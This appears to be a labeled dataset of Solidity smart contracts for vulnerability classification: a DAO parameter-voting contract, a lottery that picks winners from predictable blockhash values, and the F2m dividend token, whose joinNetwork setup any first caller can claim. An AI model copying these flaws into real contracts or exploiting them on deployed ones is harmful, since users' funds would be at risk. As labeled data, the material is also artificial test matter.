bytes32 public votingPowerLimitParameterTitle = 'votingPowerLimit';
event LogParameterValueUpdate(bytes32 title, uint256 value);
constructor (address _DIDTokenAddress) public {
DIDTokenAddress = _DIDTokenAddress;
pctDIDToDetermineTaskRewardParameter = Parameter({
title : pctDIDToDetermineTaskRewardParameterTitle,
value: 15 * 1 ether
});
parameters[pctDIDToDetermineTaskRewardParameterTitle] = pctDIDToDetermineTaskRewardParameter;
parameterTitles.push(pctDIDToDetermineTaskRewardParameterTitle);
pctDIDRequiredToMergePullRequest = Parameter({
title : pctDIDRequiredToMergePullRequestTitle,
value: 10 * 1 ether
});
parameters[pctDIDRequiredToMergePullRequestTitle] = pctDIDRequiredToMergePullRequest;
parameterTitles.push(pctDIDRequiredToMergePullRequestTitle);
votingIntervalParameter = Parameter({
title : votingIntervalParameterTitle,
value: 1296000 * 1 ether
});
parameters[votingIntervalParameterTitle] = votingIntervalParameter;
parameterTitles.push(votingIntervalParameterTitle);
maxRewardParameter = Parameter({
title : maxRewardParameterTitle,
value: 2000 * 1 ether
});
parameters[maxRewardParameterTitle] = maxRewardParameter;
parameterTitles.push(maxRewardParameterTitle);
numDIDRequiredToApproveVotePullRequestParameter = Parameter({
title : numDIDRequiredToApproveVotePullRequestParameterTitle,
value: 100 * 1 ether
});
parameters[numDIDRequiredToApproveVotePullRequestParameterTitle] = numDIDRequiredToApproveVotePullRequestParameter;
parameterTitles.push(numDIDRequiredToApproveVotePullRequestParameterTitle);
numDIDRequiredToTaskRewardVoteParameter = Parameter({
title : numDIDRequiredToTaskRewardVoteParameterTitle,
value: 100 * 1 ether
});
parameters[numDIDRequiredToTaskRewardVoteParameterTitle] = numDIDRequiredToTaskRewardVoteParameter;
parameterTitles.push(numDIDRequiredToTaskRewardVoteParameterTitle);
minNumberOfTaskRewardVotersParameter = Parameter({
title : minNumberOfTaskRewardVotersParameterTitle,
value: 7 * 1 ether
});
parameters[minNumberOfTaskRewardVotersParameterTitle] = minNumberOfTaskRewardVotersParameter;
parameterTitles.push(minNumberOfTaskRewardVotersParameterTitle);
numDIDRequiredToAddTaskParameter = Parameter({
title : numDIDRequiredToAddTaskParameterTitle,
value: 100 * 1 ether
});
parameters[numDIDRequiredToAddTaskParameterTitle] = numDIDRequiredToAddTaskParameter;
parameterTitles.push(numDIDRequiredToAddTaskParameterTitle);
defaultRewardParameter = Parameter({
title : defaultRewardParameterTitle,
value: 100 * 1 ether
});
parameters[defaultRewardParameterTitle] = defaultRewardParameter;
parameterTitles.push(defaultRewardParameterTitle);
didPerEtherParameter = Parameter({
title : didPerEtherParameterTitle,
value: 200 * 1 ether
});
parameters[didPerEtherParameterTitle] = didPerEtherParameter;
parameterTitles.push(didPerEtherParameterTitle);
votingPowerLimitParameter = Parameter({
title : votingPowerLimitParameterTitle,
value: 20 * 1 ether
});
parameters[votingPowerLimitParameterTitle] = votingPowerLimitParameter;
parameterTitles.push(votingPowerLimitParameterTitle);
}
function getParameterValueByTitle(bytes32 _title) public view returns (uint256) {
return parameters[_title].value;
}
function voteOnParameter(bytes32 _title, int256 _voteValue)
public
votingIntervalReached(msg.sender, _title)
returns
(uint256) {
DIDToken didToken = DIDToken(DIDTokenAddress);
uint256 votersDIDPercent = didToken.pctDIDOwned(msg.sender);
require(votersDIDPercent > 0);
uint256 currentValue = getParameterValueByTitle(_title);
uint256 votingPowerLimit = getParameterValueByTitle(votingPowerLimitParameterTitle);
uint256 limitedVotingPower = votersDIDPercent > votingPowerLimit ? votingPowerLimit : votersDIDPercent;
uint256 update;
if (
_voteValue == 1 ||
_voteValue == - 1 ||
_voteValue > int(limitedVotingPower) ||
_voteValue < - int(limitedVotingPower)
) {
update = (limitedVotingPower * currentValue) / (100 * 1 ether);
} else if (_voteValue > 0) {
update = SafeMath.div((uint(_voteValue) * currentValue), (1 ether * 100));
} else if (_voteValue < 0) {
int256 adjustedVoteValue = (-_voteValue);
update = uint((adjustedVoteValue * int(currentValue))) / (100 * 1 ether);
} else revert();
if (_voteValue > 0)
currentValue = SafeMath.add(currentValue, update);
else
currentValue = SafeMath.sub(currentValue, update);
updateParameterValue(_title, currentValue);
updateLastVotedOnParameter(_title, msg.sender);
emit LogParameterValueUpdate(_title, currentValue);
return currentValue;
}
function getParameterByTitle(bytes32 _title) public view returns (bytes32, uint256) {
Parameter memory param = parameters[_title];
return (param.title, param.value);
}
function getNumParameters() public view returns (uint256) {
return parameterTitles.length;
}
function updateParameterValue(bytes32 _title, uint256 _newValue) internal returns (uint256) {
Parameter storage parameter = parameters[_title];
parameter.value = _newValue;
return parameter.value;
}
function updateLastVotedOnParameter(bytes32 _title, address voter) internal returns (bool) {
Parameter storage parameter = parameters[_title];
parameter.votes[voter].lastVoted = now;
}
function setDIDTokenAddress(address _didTokenAddress) public onlyApproved {
DIDTokenAddress = _didTokenAddress;
}
modifier votingIntervalReached(address _voter, bytes32 _title) {
Parameter storage parameter = parameters[_title];
uint256 lastVotedOnParameter = parameter.votes[_voter].lastVoted * 1 ether;
require((now * 1 ether) >= lastVotedOnParameter + getParameterValueByTitle(votingIntervalParameterTitle));
_;
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
function percent(uint numerator, uint denominator, uint precision) public pure
returns(uint quotient) {
uint _numerator = numerator * 10 ** (precision + 1);
uint _quotient = ((_numerator / denominator) + 5) / 10;
return _quotient;
}
} | 1 | 4,659 |
pragma solidity 0.4.25;
interface IERC20 {
function balanceOf(address who) external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
}
contract LotteryTicket {
address owner;
string public constant name = "LotteryTicket";
string public constant symbol = "✓";
event Transfer(address indexed from, address indexed to, uint256 value);
constructor() public {
owner = msg.sender;
}
function emitEvent(address addr) public {
require(msg.sender == owner);
emit Transfer(msg.sender, addr, 1);
}
}
contract WinnerTicket {
address owner;
string public constant name = "WinnerTicket";
string public constant symbol = "✓";
event Transfer(address indexed from, address indexed to, uint256 value);
constructor() public {
owner = msg.sender;
}
function emitEvent(address addr) public {
require(msg.sender == owner);
emit Transfer(msg.sender, addr, 1);
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract Storage {
address owner;
mapping (address => uint256) public amount;
mapping (uint256 => address[]) public level;
uint256 public count;
uint256 public maximum;
constructor() public {
owner = msg.sender;
}
function purchase(address addr) public {
require(msg.sender == owner);
amount[addr]++;
if (amount[addr] > 1) {
level[amount[addr]].push(addr);
if (amount[addr] > 2) {
for (uint256 i = 0; i < level[amount[addr] - 1].length; i++) {
if (level[amount[addr] - 1][i] == addr) {
delete level[amount[addr] - 1][i];
break;
}
}
} else if (amount[addr] == 2) {
count++;
}
if (amount[addr] > maximum) {
maximum = amount[addr];
}
}
}
function draw(uint256 goldenWinners) public view returns(address[] addresses) {
addresses = new address[](goldenWinners);
uint256 winnersCount;
for (uint256 i = maximum; i >= 2; i--) {
for (uint256 j = 0; j < level[i].length; j++) {
if (level[i][j] != address(0)) {
addresses[winnersCount] = level[i][j];
winnersCount++;
if (winnersCount == goldenWinners) {
return;
}
}
}
}
}
}
contract RefStorage is Ownable {
IERC20 public token;
mapping (address => bool) public contracts;
uint256 public prize = 0.00005 ether;
uint256 public interval = 100;
mapping (address => Player) public players;
struct Player {
uint256 tickets;
uint256 checkpoint;
address referrer;
}
event ReferrerAdded(address player, address referrer);
event BonusSent(address recipient, uint256 amount);
modifier restricted() {
require(contracts[msg.sender]);
_;
}
constructor() public {
token = IERC20(address(0x9f9EFDd09e915C1950C5CA7252fa5c4F65AB049B));
}
function changeContracts(address contractAddr) public onlyOwner {
contracts[contractAddr] = true;
}
function changePrize(uint256 newPrize) public onlyOwner {
prize = newPrize;
}
function changeInterval(uint256 newInterval) public onlyOwner {
interval = newInterval;
}
function newTicket() external restricted {
players[tx.origin].tickets++;
if (players[tx.origin].referrer != address(0) && (players[tx.origin].tickets - players[tx.origin].checkpoint) % interval == 0) {
if (token.balanceOf(address(this)) >= prize * 2) {
token.transfer(tx.origin, prize);
emit BonusSent(tx.origin, prize);
token.transfer(players[tx.origin].referrer, prize);
emit BonusSent(players[tx.origin].referrer, prize);
}
}
}
function addReferrer(address referrer) external restricted {
if (players[tx.origin].referrer == address(0) && players[referrer].tickets >= interval && referrer != tx.origin) {
players[tx.origin].referrer = referrer;
players[tx.origin].checkpoint = players[tx.origin].tickets;
emit ReferrerAdded(tx.origin, referrer);
}
}
function sendBonus(address winner) external restricted {
if (token.balanceOf(address(this)) >= prize) {
token.transfer(winner, prize);
emit BonusSent(winner, prize);
}
}
function withdrawERC20(address ERC20Token, address recipient) external onlyOwner {
uint256 amount = IERC20(ERC20Token).balanceOf(address(this));
IERC20(ERC20Token).transfer(recipient, amount);
}
function ticketsOf(address player) public view returns(uint256) {
return players[player].tickets;
}
function referrerOf(address player) public view returns(address) {
return players[player].referrer;
}
}
contract Lottery10ETH is Ownable {
Storage public x;
RefStorage public RS;
LotteryTicket public LT;
WinnerTicket public WT;
uint256 constant public PRICE = 0.01 ether;
address[] public players;
uint256 public limit = 1000;
uint256 public futureblock;
uint256 public gameCount;
bool public paused;
uint256[] silver = [20, 0.1 ether];
uint256[] gold = [5, 0.2 ether];
uint256[] brilliant = [1, 5 ether];
event NewPlayer(address indexed addr, uint256 indexed gameCount);
event SilverWinner(address indexed addr, uint256 prize, uint256 indexed gameCount);
event GoldenWinner(address indexed addr, uint256 prize, uint256 indexed gameCount);
event BrilliantWinner(address indexed addr, uint256 prize, uint256 indexed gameCount);
event txCostRefunded(address indexed addr, uint256 amount);
event FeePayed(address indexed owner, uint256 amount);
modifier notFromContract() {
address addr = msg.sender;
uint256 size;
assembly { size := extcodesize(addr) }
require(size <= 0);
_;
}
constructor(address RS_Addr) public {
x = new Storage();
LT = new LotteryTicket();
WT = new WinnerTicket();
RS = RefStorage(RS_Addr);
gameCount++;
}
function() public payable notFromContract {
if (players.length == 0 && paused) {
revert();
}
if (players.length == limit) {
drawing();
if (players.length == 0 && paused || msg.value < PRICE) {
msg.sender.transfer(msg.value);
return;
}
}
require(msg.value >= PRICE);
if (msg.value > PRICE) {
msg.sender.transfer(msg.value - PRICE);
}
if (msg.data.length != 0) {
RS.addReferrer(bytesToAddress(bytes(msg.data)));
}
players.push(msg.sender);
x.purchase(msg.sender);
RS.newTicket();
LT.emitEvent(msg.sender);
emit NewPlayer(msg.sender, gameCount);
if (players.length == limit) {
drawing();
}
}
function drawing() internal {
require(block.number > futureblock, "Awaiting for a future block");
if (block.number >= futureblock + 230) {
futureblock = block.number + 20;
return;
}
uint256 gas = gasleft();
for (uint256 i = 0; i < silver[0]; i++) {
address winner = players[uint((blockhash(futureblock - 1 - i))) % players.length];
winner.send(silver[1]);
WT.emitEvent(winner);
emit SilverWinner(winner, silver[1], gameCount);
}
uint256 goldenWinners = gold[0];
uint256 goldenPrize = gold[1];
if (x.count() < gold[0]) {
goldenWinners = x.count();
goldenPrize = gold[0] * gold[1] / x.count();
}
if (goldenWinners != 0) {
address[] memory addresses = x.draw(goldenWinners);
for (uint256 k = 0; k < addresses.length; k++) {
addresses[k].send(goldenPrize);
RS.sendBonus(addresses[k]);
WT.emitEvent(addresses[k]);
emit GoldenWinner(addresses[k], goldenPrize, gameCount);
}
}
uint256 laps = 10;
uint256 winnerIdx;
uint256 indexes = players.length * 1e18;
for (uint256 j = 0; j < laps; j++) {
uint256 change = (indexes) / (2 ** (j+1));
if (uint(blockhash(futureblock - j)) % 2 == 0) {
winnerIdx += change;
}
}
winnerIdx = winnerIdx / 1e18;
players[winnerIdx].send(brilliant[1]);
WT.emitEvent(players[winnerIdx]);
emit BrilliantWinner(players[winnerIdx], brilliant[1], gameCount);
players.length = 0;
futureblock = 0;
x = new Storage();
gameCount++;
uint256 txCost = tx.gasprice * (gas - gasleft());
msg.sender.send(txCost);
emit txCostRefunded(msg.sender, txCost);
uint256 fee = address(this).balance - msg.value;
owner.send(fee);
emit FeePayed(owner, fee);
}
function pause() public onlyOwner {
paused = true;
}
function unpause() public onlyOwner {
paused = false;
}
function withdrawERC20(address ERC20Token, address recipient) external onlyOwner {
uint256 amount = IERC20(ERC20Token).balanceOf(address(this));
IERC20(ERC20Token).transfer(recipient, amount);
}
function bytesToAddress(bytes source) internal pure returns(address parsedReferrer) {
assembly {
parsedReferrer := mload(add(source,0x14))
}
return parsedReferrer;
}
function amountOfPlayers() public view returns(uint) {
return players.length;
}
function referrerOf(address player) external view returns(address) {
return RS.referrerOf(player);
}
function ticketsOf(address player) external view returns(uint256) {
return RS.ticketsOf(player);
}
} | 0 | 1,853 |
pragma solidity ^0.4.24;
contract F2m{
using SafeMath for *;
modifier onlyTokenHolders() {
require(balances[msg.sender] > 0, "not own any token");
_;
}
modifier onlyAdmin(){
require(msg.sender == devTeam, "admin required");
_;
}
modifier withdrawRight(){
require((msg.sender == address(bankContract)), "Bank Only");
_;
}
modifier swapNotActived() {
require(swapActived == false, "swap actived, stop minting new tokens");
_;
}
modifier buyable() {
require(buyActived == true, "token sale not ready");
_;
}
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
uint256 public totalSupply;
string public name;
string public symbol;
uint32 public decimals;
uint256 public unitRate;
mapping(address => uint256) balances;
mapping(address => mapping (address => uint256)) allowed;
CitizenInterface public citizenContract;
LotteryInterface public lotteryContract;
BankInterface public bankContract;
NewTokenInterface public newTokenContract;
WhitelistInterface public whitelistContract;
uint256 constant public ONE_HOUR= 3600;
uint256 constant public ONE_DAY = 24 * ONE_HOUR;
uint256 constant public BEFORE_SLEEP_DURAION = 30 * ONE_DAY;
uint256 public HARD_TOTAL_SUPPLY = 8000000;
uint256 public refPercent = 15;
uint256 public divPercent = 10;
uint256 public fundPercent = 2;
uint256 public startPrice = 0.0014 ether;
uint256 constant public BEP = 30;
mapping(address => int256) public credit;
mapping(address => uint256) public withdrawnAmount;
mapping(address => uint256) public fromSellingAmount;
mapping(address => uint256) public lastActiveDay;
mapping(address => int256) public todayCredit;
mapping(address => uint256) public pInvestedSum;
uint256 public investedAmount;
uint256 public totalBuyVolume;
uint256 public totalSellVolume;
uint256 public totalDividends;
mapping(uint256 => uint256) public totalDividendsByRound;
uint256 public pps = 0;
mapping(uint256 => uint256) rPps;
mapping(address => mapping (uint256 => int256)) rCredit;
uint256 public deployedDay;
bool public autoBuy = false;
bool public round0 = false;
mapping(uint256 => uint256) public ppsInDay;
mapping(uint256 => uint256) public divInDay;
mapping(uint256 => uint256) public totalBuyVolumeInDay;
mapping(uint256 => uint256) public totalSellVolumeInDay;
address public devTeam;
uint256 public swapTime;
bool public swapActived = false;
bool public buyActived = false;
constructor (address _devTeam)
public
{
symbol = "F2M2";
name = "Fomo2Moon2";
decimals = 10;
unitRate = 10**uint256(decimals);
HARD_TOTAL_SUPPLY = HARD_TOTAL_SUPPLY * unitRate;
DevTeamInterface(_devTeam).setF2mAddress(address(this));
devTeam = _devTeam;
uint256 _amount = 500000 * unitRate;
totalSupply += _amount;
balances[devTeam] = _amount;
emit Transfer(0x0, devTeam, _amount);
deployedDay = getToday();
}
function joinNetwork(address[6] _contract)
public
{
require(address(citizenContract) == 0x0, "already setup");
bankContract = BankInterface(_contract[1]);
citizenContract = CitizenInterface(_contract[2]);
lotteryContract = LotteryInterface(_contract[3]);
whitelistContract = WhitelistInterface(_contract[5]);
}
function()
public
payable
{
}
function activeBuy()
public
onlyAdmin()
{
require(buyActived == false, "already actived");
buyActived = true;
deployedDay = getToday();
}
function pushDividends()
public
payable
{
uint256 ethAmount = msg.value;
uint256 dividends = ethAmount * divPercent / (divPercent + fundPercent);
uint256 fund = ethAmount.sub(dividends);
uint256 _buyPrice = getBuyPrice();
distributeTax(msg.sender, fund, dividends, 0);
if (autoBuy) devTeamAutoBuy(0, _buyPrice);
}
function addFund(uint256 _fund)
private
{
credit[devTeam] = credit[devTeam].sub(int256(_fund));
}
function addDividends(uint256 _dividends)
private
{
if (_dividends == 0) return;
totalDividends += _dividends;
uint256 today = getToday();
divInDay[today] = _dividends.add(divInDay[today]);
if (totalSupply == 0) {
addFund(_dividends);
} else {
addFund(_dividends % totalSupply);
uint256 deltaShare = _dividends / totalSupply;
pps = pps.add(deltaShare);
uint256 curRoundId = getCurRoundId();
rPps[curRoundId] += deltaShare;
totalDividendsByRound[curRoundId] += _dividends;
ppsInDay[today] = deltaShare + ppsInDay[today];
}
}
function addToRef(address _sender, uint256 _toRef)
private
{
if (_toRef == 0) return;
citizenContract.pushRefIncome.value(_toRef)(_sender);
}
function distributeTax(
address _sender,
uint256 _fund,
uint256 _dividends,
uint256 _toRef)
private
{
addFund(_fund);
addDividends(_dividends);
addToRef(_sender, _toRef);
}
function updateCredit(address _owner, uint256 _currentEthAmount, uint256 _rDividends, uint256 _todayDividends)
private
{
uint256 curRoundId = getCurRoundId();
credit[_owner] = int256(pps.mul(balances[_owner])).sub(int256(_currentEthAmount));
rCredit[_owner][curRoundId] = int256(rPps[curRoundId] * balances[_owner]) - int256(_rDividends);
todayCredit[_owner] = int256(ppsInDay[getToday()] * balances[_owner]) - int256(_todayDividends);
}
function mintToken(address _buyer, uint256 _taxedAmount, uint256 _buyPrice)
private
swapNotActived()
buyable()
returns(uint256)
{
uint256 revTokens = ethToToken(_taxedAmount, _buyPrice);
investedAmount = investedAmount.add(_taxedAmount);
if (revTokens + totalSupply > HARD_TOTAL_SUPPLY)
revTokens = HARD_TOTAL_SUPPLY.sub(totalSupply);
balances[_buyer] = balances[_buyer].add(revTokens);
totalSupply = totalSupply.add(revTokens);
emit Transfer(0x0, _buyer, revTokens);
return revTokens;
}
function burnToken(address _seller, uint256 _tokenAmount)
private
returns (uint256)
{
require(balances[_seller] >= _tokenAmount, "not enough to burn");
uint256 revEthAmount = tokenToEth(_tokenAmount);
investedAmount = investedAmount.sub(revEthAmount);
balances[_seller] = balances[_seller].sub(_tokenAmount);
totalSupply = totalSupply.sub(_tokenAmount);
emit Transfer(_seller, 0x0, _tokenAmount);
return revEthAmount;
}
function devTeamAutoBuy(uint256 _reserved, uint256 _buyPrice)
private
{
uint256 _refClaim = citizenContract.devTeamReinvest();
credit[devTeam] -= int256(_refClaim);
uint256 _ethAmount = ethBalance(devTeam);
if ((_ethAmount + _reserved) / _buyPrice + totalSupply > HARD_TOTAL_SUPPLY) return;
uint256 _rDividends = getRDividends(devTeam);
uint256 _todayDividends = getTodayDividendsByAddress(devTeam);
mintToken(devTeam, _ethAmount, _buyPrice);
updateCredit(devTeam, 0, _rDividends, _todayDividends);
}
function buy()
public
payable
{
address _buyer = msg.sender;
buyFor(_buyer);
}
function buyFor(address _buyer)
public
payable
{
updateLastActive(_buyer);
uint256 _buyPrice = getBuyPrice();
uint256 ethAmount = msg.value;
pInvestedSum[_buyer] += ethAmount;
uint256 onePercent = ethAmount / 100;
uint256 fund = onePercent.mul(fundPercent);
uint256 dividends = onePercent.mul(divPercent);
uint256 toRef = onePercent.mul(refPercent);
uint256 tax = fund + dividends + toRef;
uint256 taxedAmount = ethAmount.sub(tax);
totalBuyVolume = totalBuyVolume + ethAmount;
totalBuyVolumeInDay[getToday()] += ethAmount;
distributeTax(_buyer, fund, dividends, toRef);
if (autoBuy) devTeamAutoBuy(taxedAmount, _buyPrice);
uint256 curEthBalance = ethBalance(_buyer);
uint256 _rDividends = getRDividends(_buyer);
uint256 _todayDividends = getTodayDividendsByAddress(_buyer);
mintToken(_buyer, taxedAmount, _buyPrice);
updateCredit(_buyer, curEthBalance, _rDividends, _todayDividends);
}
function sell(uint256 _tokenAmount)
public
onlyTokenHolders()
{
updateLastActive(msg.sender);
address seller = msg.sender;
uint256 curEthBalance = ethBalance(seller);
uint256 _rDividends = getRDividends(seller);
uint256 _todayDividends = getTodayDividendsByAddress(seller);
uint256 ethAmount = burnToken(seller, _tokenAmount);
uint256 fund = ethAmount.mul(fundPercent) / 100;
uint256 taxedAmount = ethAmount.sub(fund);
totalSellVolume = totalSellVolume + ethAmount;
totalSellVolumeInDay[getToday()] += ethAmount;
curEthBalance = curEthBalance.add(taxedAmount);
fromSellingAmount[seller] += taxedAmount;
updateCredit(seller, curEthBalance, _rDividends, _todayDividends);
distributeTax(msg.sender, fund, 0, 0);
}
function devTeamWithdraw()
public
returns(uint256)
{
address sender = msg.sender;
require(sender == devTeam, "dev. Team only");
uint256 amount = ethBalance(sender);
if (amount == 0) return 0;
credit[sender] += int256(amount);
withdrawnAmount[sender] = amount.add(withdrawnAmount[sender]);
devTeam.transfer(amount);
return amount;
}
function withdrawFor(address sender)
public
withdrawRight()
returns(uint256)
{
uint256 amount = ethBalance(sender);
if (amount == 0) return 0;
credit[sender] = credit[sender].add(int256(amount));
withdrawnAmount[sender] = amount.add(withdrawnAmount[sender]);
bankContract.pushToBank.value(amount)(sender);
return amount;
}
function updateAllowed(address _from, address _to, uint256 _tokenAmount)
private
{
require(balances[_from] >= _tokenAmount, "not enough to transfer");
if (_from != msg.sender)
allowed[_from][_to] = allowed[_from][_to].sub(_tokenAmount);
}
function transferFrom(address _from, address _to, uint256 _tokenAmount)
public
returns(bool)
{
updateAllowed(_from, _to, _tokenAmount);
updateLastActive(_from);
updateLastActive(_to);
uint256 curEthBalance_from = ethBalance(_from);
uint256 _rDividends_from = getRDividends(_from);
uint256 _todayDividends_from = getTodayDividendsByAddress(_from);
uint256 curEthBalance_to = ethBalance(_to);
uint256 _rDividends_to = getRDividends(_to);
uint256 _todayDividends_to = getTodayDividendsByAddress(_to);
uint256 taxedTokenAmount = _tokenAmount;
balances[_from] -= taxedTokenAmount;
balances[_to] += taxedTokenAmount;
updateCredit(_from, curEthBalance_from, _rDividends_from, _todayDividends_from);
updateCredit(_to, curEthBalance_to, _rDividends_to, _todayDividends_to);
emit Transfer(_from, _to, taxedTokenAmount);
return true;
}
function transfer(address _to, uint256 _tokenAmount)
public
returns (bool)
{
transferFrom(msg.sender, _to, _tokenAmount);
return true;
}
function approve(address spender, uint tokens)
public
returns (bool success)
{
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
function updateLastActive(address _sender)
private
{
if (lastActiveDay[_sender] != getToday()) {
lastActiveDay[_sender] = getToday();
todayCredit[_sender] = 0;
}
}
function setAutoBuy()
public
onlyAdmin()
{
autoBuy = !autoBuy;
}
function totalEthBalance()
public
view
returns(uint256)
{
return address(this).balance;
}
function ethBalance(address _address)
public
view
returns(uint256)
{
return (uint256) ((int256)(pps.mul(balances[_address])).sub(credit[_address]));
}
function getTotalDividendsByAddress(address _invester)
public
view
returns(uint256)
{
return (ethBalance(_invester)) + (withdrawnAmount[_invester]) - (fromSellingAmount[_invester]);
}
function getTodayDividendsByAddress(address _invester)
public
view
returns(uint256)
{
int256 _todayCredit = (getToday() == lastActiveDay[_invester]) ? todayCredit[_invester] : 0;
return (uint256) ((int256)(ppsInDay[getToday()] * balances[_invester]) - _todayCredit);
}
function getSellPrice()
public
view
returns(uint256)
{
if (totalSupply == 0) {
return 0;
} else {
return investedAmount / totalSupply;
}
}
function getSellPriceAfterTax()
public
view
returns(uint256)
{
uint256 _sellPrice = getSellPrice();
uint256 taxPercent = fundPercent;
return _sellPrice * (100 - taxPercent) / 100;
}
function getBuyPrice()
public
view
returns(uint256)
{
uint256 taxPercent = fundPercent + divPercent + refPercent;
uint256 avgPps = getAvgPps();
uint256 _sellPrice = getSellPrice();
uint256 _buyPrice = (startPrice / unitRate + avgPps * BEP * HARD_TOTAL_SUPPLY / (HARD_TOTAL_SUPPLY + unitRate - totalSupply)) * (100 - taxPercent) / 100;
uint256 _min = _sellPrice * 14 / 10;
if (_buyPrice < _min) return _min;
return _buyPrice;
}
function getBuyPriceAfterTax()
public
view
returns(uint256)
{
uint256 _buyPrice = getBuyPrice();
uint256 taxPercent = fundPercent + divPercent + refPercent;
return _buyPrice * 100 / (100 - taxPercent);
}
function ethToToken(uint256 _ethAmount, uint256 _buyPrice)
public
view
returns(uint256)
{
uint256 revToken = _ethAmount / _buyPrice;
return revToken;
}
function tokenToEth(uint256 _tokenAmount)
public
view
returns(uint256)
{
uint256 sellPrice = getSellPrice();
return _tokenAmount.mul(sellPrice);
}
function getToday()
public
view
returns (uint256)
{
return (block.timestamp / ONE_DAY);
}
function getAvgPps()
public
view
returns (uint256)
{
uint256 divSum = 0;
uint256 _today = getToday();
uint256 _fromDay = _today - 6;
if (_fromDay < deployedDay) _fromDay = deployedDay;
for (uint256 i = _fromDay; i <= _today; i++) {
divSum = divSum.add(divInDay[i]);
}
if (totalSupply == 0) return 0;
return divSum / (_today + 1 - _fromDay) / totalSupply;
}
function getTotalVolume()
public
view
returns(uint256)
{
return totalBuyVolume + totalSellVolume;
}
function getWeeklyBuyVolume()
public
view
returns(uint256)
{
uint256 _total = 0;
uint256 _today = getToday();
for (uint256 i = _today; i + 7 > _today; i--) {
_total = _total + totalBuyVolumeInDay[i];
}
return _total;
}
function getWeeklySellVolume()
public
view
returns(uint256)
{
uint256 _total = 0;
uint256 _today = getToday();
for (uint256 i = _today; i + 7 > _today; i--) {
_total = _total + totalSellVolumeInDay[i];
}
return _total;
}
function getWeeklyVolume()
public
view
returns(uint256)
{
return getWeeklyBuyVolume() + getWeeklySellVolume();
}
function getTotalDividends()
public
view
returns(uint256)
{
return totalDividends;
}
function getRDividends(address _invester)
public
view
returns(uint256)
{
uint256 curRoundId = getCurRoundId();
return uint256(int256(rPps[curRoundId] * balances[_invester]) - rCredit[_invester][curRoundId]);
}
function getWeeklyDividends()
public
view
returns(uint256)
{
uint256 divSum = 0;
uint256 _today = getToday();
uint256 _fromDay = _today - 6;
if (_fromDay < deployedDay) _fromDay = deployedDay;
for (uint256 i = _fromDay; i <= _today; i++) {
divSum = divSum.add(divInDay[i]);
}
return divSum;
}
function getMarketCap()
public
view
returns(uint256)
{
return totalSupply.mul(getBuyPriceAfterTax());
}
function totalSupply()
public
view
returns(uint)
{
return totalSupply;
}
function balanceOf(address tokenOwner)
public
view
returns(uint256)
{
return balances[tokenOwner];
}
function myBalance()
public
view
returns(uint256)
{
return balances[msg.sender];
}
function myEthBalance()
public
view
returns(uint256)
{
return ethBalance(msg.sender);
}
function myCredit()
public
view
returns(int256)
{
return credit[msg.sender];
}
function getCurRoundId()
public
view
returns(uint256)
{
return lotteryContract.getCurRoundId();
}
function swapToken()
public
onlyTokenHolders()
{
require(swapActived, "swap not actived");
address _invester = msg.sender;
uint256 _tokenAmount = balances[_invester];
uint256 _ethAmount = ethBalance(_invester);
_ethAmount += burnToken(_invester, _tokenAmount);
updateCredit(_invester, 0, 0, 0);
newTokenContract.swapToken.value(_ethAmount)(_tokenAmount, _invester);
}
function setNewToken(address _newTokenAddress)
public
onlyAdmin()
{
bool _isLastRound = lotteryContract.isLastRound();
require(_isLastRound, "too early");
require(swapActived == false, "already set");
swapTime = block.timestamp;
swapActived = true;
newTokenContract = NewTokenInterface(_newTokenAddress);
autoBuy = false;
}
function sleep()
public
{
require(swapActived, "swap not actived");
require(swapTime + BEFORE_SLEEP_DURAION < block.timestamp, "too early");
uint256 _ethAmount = address(this).balance;
devTeam.transfer(_ethAmount);
}
}
library SafeMath {
int256 constant private INT256_MIN = -2**255;
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function mul(int256 a, int256 b) internal pure returns (int256) {
if (a == 0) {
return 0;
}
require(!(a == -1 && b == INT256_MIN));
int256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function div(int256 a, int256 b) internal pure returns (int256) {
require(b != 0);
require(!(b == -1 && a == INT256_MIN));
int256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function sub(int256 a, int256 b) internal pure returns (int256) {
int256 c = a - b;
require((b >= 0 && c <= a) || (b < 0 && c > a));
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function add(int256 a, int256 b) internal pure returns (int256) {
int256 c = a + b;
require((b >= 0 && c >= a) || (b < 0 && c < a));
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
interface CitizenInterface {
function joinNetwork(address[6] _contract) public;
function devTeamWithdraw() public;
function updateUsername(string _sNewUsername) public;
function pushRefIncome(address _sender) public payable;
function withdrawFor(address _sender) public payable returns(uint256);
function devTeamReinvest() public returns(uint256);
function getRefWallet(address _address) public view returns(uint256);
}
interface LotteryInterface {
function joinNetwork(address[6] _contract) public;
function activeFirstRound() public;
function pushToPot() public payable;
function finalizeable() public view returns(bool);
function finalize() public;
function buy(string _sSalt) public payable;
function buyFor(string _sSalt, address _sender) public payable;
function withdrawFor(address _sender) public returns(uint256);
function getRewardBalance(address _buyer) public view returns(uint256);
function getTotalPot() public view returns(uint256);
